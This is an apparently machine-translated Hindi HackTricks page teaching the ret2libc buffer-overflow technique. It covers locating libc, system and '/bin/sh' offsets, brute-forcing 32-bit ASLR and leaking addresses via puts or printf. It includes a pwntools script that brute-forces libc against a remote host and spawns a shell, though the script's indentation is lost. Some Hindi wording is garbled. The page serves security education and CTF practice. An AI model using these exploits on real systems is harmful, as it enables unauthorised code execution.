Ret2lib

हैकट्रिक्स का समर्थन करें

मूल जानकारी

Ret2Libc का सार है किसी भी वंलरबल प्रोग्राम के निष्पादन फ्लो को एक साझा लाइब्रेरी के फ़ंक्शन (जैसे सिस्टम, एक्सीवी, स्ट्रकोपी) में पुनर्निर्देशित करना बजाय अटैकर द्वारा प्रदत्त शैलकोड को स्टैक पर निष्पादित करने का है। अटैकर एक पेलोड बनाता है जो स्टैक पर वापसी पता संशोधित करता है ताकि इच्छित लाइब्रेरी फ़ंक्शन पर पहुंचे, साथ ही कॉलिंग कन्वेंशन के अनुसार आवश्यक तरीके से किसी भी आवश्यक तर्कों को सेट करने के लिए भी व्यवस्थित करता है।

उदाहरण कदम (सरलीकृत)

  • कॉल करने के लिए फ़ंक्शन (जैसे सिस्टम) और कॉल करने के लिए कमांड (जैसे /बिन/श) का पता प्राप्त करें

  • पहले तर्क को पास करने के लिए आरओपी श्रृंखला उत्पन्न करें जो कमांड स्ट्रिंग पर पहला तर्क दिखाती है और फ़ंक्शन को निष्पादन करने के लिए निर्देशन धारा को सेट करती है

पते खोजना

  • मान लेने की libc जो वर्तमान मशीन में उपयोग की जाती है, उसे आप यहाँ देख सकते हैं कि यह मेमोरी में कहाँ लोड होगी:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

यदि आप जांचना चाहते हैं कि ASLR libc के पते को बदल रहा है तो आप यह कर सकते हैं:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • जानते हुए कि कौन सी libc का उपयोग किया गया है, system फ़ंक्शन के लिए ऑफसेट ढूंढना भी संभव है:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • जानते हुए जिस libc का उपयोग किया गया है, उससे /bin/sh स्ट्रिंग फ़ंक्शन के ऑफसेट को भी खोजना संभव है:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

जीडीबी-पीडा / जीईएफ का उपयोग

लिबसी का पता लगाने के बाद, system फ़ंक्शन, exit फ़ंक्शन और स्ट्रिंग /bin/sh का पता लगाने के लिए Peda या GEF का उपयोग भी संभव है:

p system
p exit
find "/bin/sh"

/proc/<PID>/maps का उपयोग

यदि प्रक्रिया हर बार जब आप इसके साथ बात करते हैं (नेटवर्क सर्वर) तो बच्चे बना रही है, तो उस फ़ाइल को पढ़ने का प्रयास करें (संभावित रूप से आपको रूट होने की आवश्यकता होगी)।

यहाँ आप सटीक रूप से देख सकते हैं कि प्रक्रिया के अंदर libc कहाँ लोड हो रहा है और प्रत्येक प्रक्रिया के बच्चों के लिए कहाँ लोड होने जा रहा है

इस मामले में यह 0xb75dc000 में लोड हो रहा है (यह libc का बेस पता होगा)

अज्ञात libc

संभावना है कि आपको पता नहीं हो कि बाइनरी किस libc को लोड कर रहा है (क्योंकि यह एक सर्वर में स्थित हो सकता है जिसमें आपका कोई पहुंच नहीं है)। उस मामले में आप विकल्प का दुरुपयोग कर सकते हैं कुछ पते चुराने और पता लगाने के लिए कि कौन सा libc पुस्तकालय उपयोग किया जा रहा है:

Leaking libc address with ROP

और आप इसके लिए एक pwntools टेम्पलेट पा सकते हैं:

Leaking libc - template

2 ऑफसेट्स के साथ libc को जानें

पृष्ठ https://libc.blukat.me/ की जाँच करें और libc के अंदर कुछ फ़ंक्शनों के कुछ पतों का उपयोग करके उपयोग किया जाने वाला संस्करण खोजें।

32 बिट में ASLR को उमकरना

ये ब्रूट-फोर्सिंग हमले केवल 32 बिट सिस्टमों के लिए उपयोगी हैं।

  • यदि एक्सप्लॉइट स्थानीय है, तो आप libc के बेस पते को ब्रूट-फोर्स करने का प्रयास कर सकते हैं (32 बिट सिस्टमों के लिए उपयोगी है):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • अगर आप एक रिमोट सर्वर पर हमला कर रहे हैं, तो आप libc फ़ंक्शन usleep का पता लगाने के लिए बर्ट-फोर्स कर सकते हैं, 10 को एर्ग्यूमेंट के रूप में पास करते हुए। यदि किसी समय सर्वर 10 सेकंड अतिरिक्त समय लेता है तो आपने इस फ़ंक्शन का पता लगा लिया है।

वन गैजेट

libc में एक विशिष्ट पते पर जाकर शैली चलाएं:

One Gadget

x86 Ret2lib कोड उदाहरण

इस उदाहरण में ASLR बर्ट-फोर्स कोड में एकीकृत किया गया है और वंलरेबल बाइनरी एक रिमोट सर्वर में स्थित है:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib कोड उदाहरण

निम्नलिखित से उदाहरण देखें:

ROP - Return Oriented Programing

ARM64 Ret2lib उदाहरण

ARM64 के मामले में, ret इंस्ट्रक्शन x30 रजिस्ट्री के पॉइंटिंग करने वाले स्थान पर जाता है और न कि स्टैक रजिस्ट्री के पॉइंटिंग करने वाले स्थान पर। इसलिए यह थोड़ा अधिक जटिल है।

इसके अलावा, ARM64 में एक इंस्ट्रक्शन वही करता है जो इंस्ट्रक्शन करता है (इंस्ट्रक्शन के बीच में जाने और उन्हें नए बनाने का संभावना नहीं है)।

उदाहरण देखें:

Ret2lib + Printf leak - arm64

Ret-into-printf (या puts)

इसके द्वारा प्रक्रिया से जानकारी लीक करने की अनुमति देता है printf/puts को कुछ विशिष्ट डेटा के साथ एक तरह से कॉल करके। उदाहरण के लिए, puts के पते को GOT में डालकर puts के एक्यूशन में कॉल करने से मेमोरी में puts का पता लीक हो जाएगा

Ret2printf

यह मुख्य रूप से एक Ret2lib को printf फॉर्मेट स्ट्रिंग वलनरेबिलिटी में बदलने का अभयास करना है ret2lib का उपयोग करके इसे एक्सप्लॉइट करने के लिए printf को कॉल करने के लिए मानों के साथ। (यह बेकार लग सकता है लेकिन संभव है):

Format Strings

अन्य उदाहरण और संदर्भ

  • Ret2lib, एक फ़ंक्शन के पते में लीक देने के साथ, एक गैजेट का उपयोग करके

  • 64 बिट, ASLR सक्षम है लेकिन PIE नहीं, पहला कदम है कैनारी के 0x00 बाइट तक ओवरफ्लो भरना और फिर पुट्स को कॉल करके इसे लीक करना। कैनारी के साथ एक ROP गैजेट बनाया जाता है जिससे पुट्स को कॉल करने के लिए GOT से पुट्स का पता लीक होता है और एक ROP गैजेट को कॉल करने के लिए system('/bin/sh')

  • 64 बिट, ASLR सक्षम है, कैनारी नहीं, मुख्य स्टैक से चाइल्ड फ़ंक्शन में स्टैक ओवरफ्लो। पुट्स को कॉल करने के लिए ROP गैजेट को कॉल करने के लिए पुट्स के पते को GOT से लीक करने के लिए और फिर एक वन गैजेट को कॉल करने के लिए।

  • 64 बिट, कोई पाई, कोई कैनारी, कोई रेलरो, एनएक्स। लीबीसी से लीक करने के लिए राइट फ़ंक्शन का उपयोग करता है (लिबीसी) और एक गैजेट को कॉल करता है।

  • स्टैक से कैनारी लीक करने के लिए एक फॉर्मेट स्ट्रिंग का उपयोग करता है और सिस्टम में कॉल करने के लिए बफर ओवरफ्लो करता है (यह GOT में है) के साथ /bin/sh के पते के साथ।

  • 32 बिट, कोई रेलरो, कोई कैनारी, एनएक्स, पाई नहीं। स्टैक से लीबीसी और हीप के पतों को लीक करने के लिए एक बुरा इंडेक्सिंग का दुरुपयोग करता है। बफर ओवरफ्लो का दुरुपयोग करने के लिए रेट2लिब कॉल करने के लिए system('/bin/sh') (हीप पता एक जांच को उलटने के लिए आवश्यक है)।

Last updated